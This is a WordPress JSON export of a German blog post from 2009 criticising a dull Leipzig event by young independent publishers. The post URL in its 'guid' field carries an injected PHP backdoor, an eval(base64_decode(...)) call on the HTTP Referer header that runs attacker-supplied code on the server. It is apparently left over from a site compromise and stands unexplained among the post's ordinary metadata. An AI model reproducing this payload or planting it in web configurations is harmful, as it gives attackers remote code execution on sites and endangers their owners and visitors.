{"id":613,"date":"2009-11-23T13:41:15","date_gmt":"2009-11-23T12:41:15","guid":{"rendered":"http:\/\/www.inskriptionen.de\/2009\/11\/23\/vereinzel-langeweile\/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%\/"},"modified":"2009-11-23T13:47:47","modified_gmt":"2009-11-23T12:47:47","slug":"vereinzel-langeweile","status":"publish","type":"post","link":"https:\/\/inskriptionen.de\/?p=613","title":{"rendered":"Vereinzelt Langeweile"},"content":{"rendered":"<p>Die literarische Klasse hat Leipzig verlassen. Auftritte der jungen unabh\u00e4ngigen Verlage sind au\u00dferhalb Leipzigs ein Publikumserfolg und sto\u00dfen auf regen Zuspruch. In Leipzig selbst haben sie jedoch kein Heimspiel: Die Leipziger lassen sie im Stich. Die Uni-Studentenschaft, einst ber\u00fchmt f\u00fcr die Vielfalt der Orchideenf\u00e4cher, rockt in den Diskokellern, zockt bei eBay oder hockt in biederen WGs. Die lokalen Medien entfachen keinen Trommelwirbel, um das im Untergang befindliche Verlagsgewerbe in Deutschlands einstiger Buchhauptstadt zu begleiten \u2013 mediales Schweigen als Grabkapelle. Die gro\u00dfen Verlagskonzerne haben der Stadt &#8211; mit Ausnahme des Kinderbuchverlages von Klett \u2013 den R\u00fccken gekehrt. Kiepenheuer, Reclam, Insel \u2013 sie sind weg. Die Leser aber geben sich verw\u00f6hnt: Zur Buchmesse und bei hohem Besuch frisch gebackener Nobelpreistr\u00e4ger da erscheinen sie alle und wollen in der ersten Reihe sitzen, vom Oberb\u00fcrgermeister bis zur Hobbyfotografin, die f\u00fcr ihr Kaffeekr\u00e4nzchen einen stolzen Schnappschu\u00df von Prominenten ben\u00f6tigt. <\/p>\n<p>Doch was hilft es zu jammern? Jammern geh\u00f6rt zum Verlegen, seitdem es dieses Gesch\u00e4ft gibt. Verleger sind unheilbar Hoffnungserf\u00fcllte \u2013 darin besteht gerade ihre Gesch\u00e4ftsidee: sie legen vor und spekulieren auf den sp\u00e4teren Gewinn, der immer h\u00e4ufiger ausbleibt, w\u00e4hrend die Kosten trotz Internet wachsen. Die jungen Leipziger Verleger aber k\u00f6nnen sich selbst an der Nase zupfen. Sie haben sich nichts \u00fcberlegt, um ihren gemeinsamen Auftritt zum ungl\u00fccklich benannten Festival \u201etextenet.de\u201c zu gestalten, haben sich nichts \u00fcberlegt, um den Laden zu f\u00fcllen: weder ein gut gelegener Ort (der Josephkonsum ist eine besondere, aber keine besonders gut auffindbare und vom Laufpublikum begangene Adresse) noch eine besondere Zeit (die gleichzeitige Pr\u00e4sentation der Verlage mit der Er\u00f6ffnung der Jahresausstellung h\u00e4tte Kunst- und Literaturinteressierte zusammengef\u00fchrt). Die Lesungen waren langatmig und bis auf eine Ausnahme komplett humorfrei. Es wurde keine Musik gespielt und es gab keine anst\u00e4ndige Versorgung mit Kulinarien und spirituellen Getr\u00e4nken. (Geraucht wurde wie \u00fcberall unspektakul\u00e4r drau\u00dfen vor der T\u00fcr &#8230;) Nicht einmal Schauspielstudenten waren eingeladen worden, die Texte der notorisch schlecht lesenden Autoren zu rezitieren. Es fehlten Youtube- und DJ-Einlagen, um den Textmarathon aufzulockern. Dem Moderator fehlten Bi\u00df und Beharrlichkeit, wahrscheinlich \u00fcberhaupt ein \u00fcbers naive \u00e4u\u00dfere Wissen hinausgehendes Verst\u00e4ndnis der Verlagsszene, um spannende Fragen zu stellen. <\/p>\n<p>Also mu\u00df sich niemand wundern. Soviel Veranstaltungseinfalt wird selbstredend bestraft. Als h\u00e4tte es das Publikum, das durch Abwesenheit gl\u00e4nzte, schon vorher gewu\u00dft. Auch wenn andernorts \u2013 zum Beispiel in Dresden oder M\u00fcnchen \u2013 das Interesse an der Literatur selbst noch gen\u00fcgt, um die Lesenden herbeizulocken. Freilich h\u00e4tten \u2013 und dies ist der Hauptschmerzpunkt \u2013 sich  die jungen Verleger zusammenschlie\u00dfen und nicht allein auf den tr\u00f6gen Veranstalter verlassen d\u00fcrfen, sie h\u00e4tten dagegen rebellieren m\u00fcssen, da\u00df sie zu Langweilern abgestuft werden, h\u00e4tten sich mit ihren Vorstellungen durchsetzen m\u00fcssen, um ein lohnenswertes Ereignis zu schaffen. B\u00fccher allein gen\u00fcgen \u2013 heutzutage \u2013 nicht. Die \u00d6de der Verlagspr\u00e4sentation hatte also unmittelbar mit dem Einzelk\u00e4mpfertum der Beteiligten zu tun, die sich lieber gegeneinander verschanzen und ihre subtilen Eitelkeiten kultivieren, als zu kooperieren, Ideen und Schlagkraft zu gewinnen. Wenn dieser Sonnabend etwas gezeigt hat, dann da\u00df es gilt, die Vereinzelung zu \u00fcberwinden. <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Die literarische Klasse hat Leipzig verlassen. Auftritte der jungen unabh\u00e4ngigen Verlage sind au\u00dferhalb Leipzigs ein Publikumserfolg und sto\u00dfen auf regen Zuspruch. In Leipzig selbst haben sie jedoch kein Heimspiel: Die Leipziger lassen sie im Stich. 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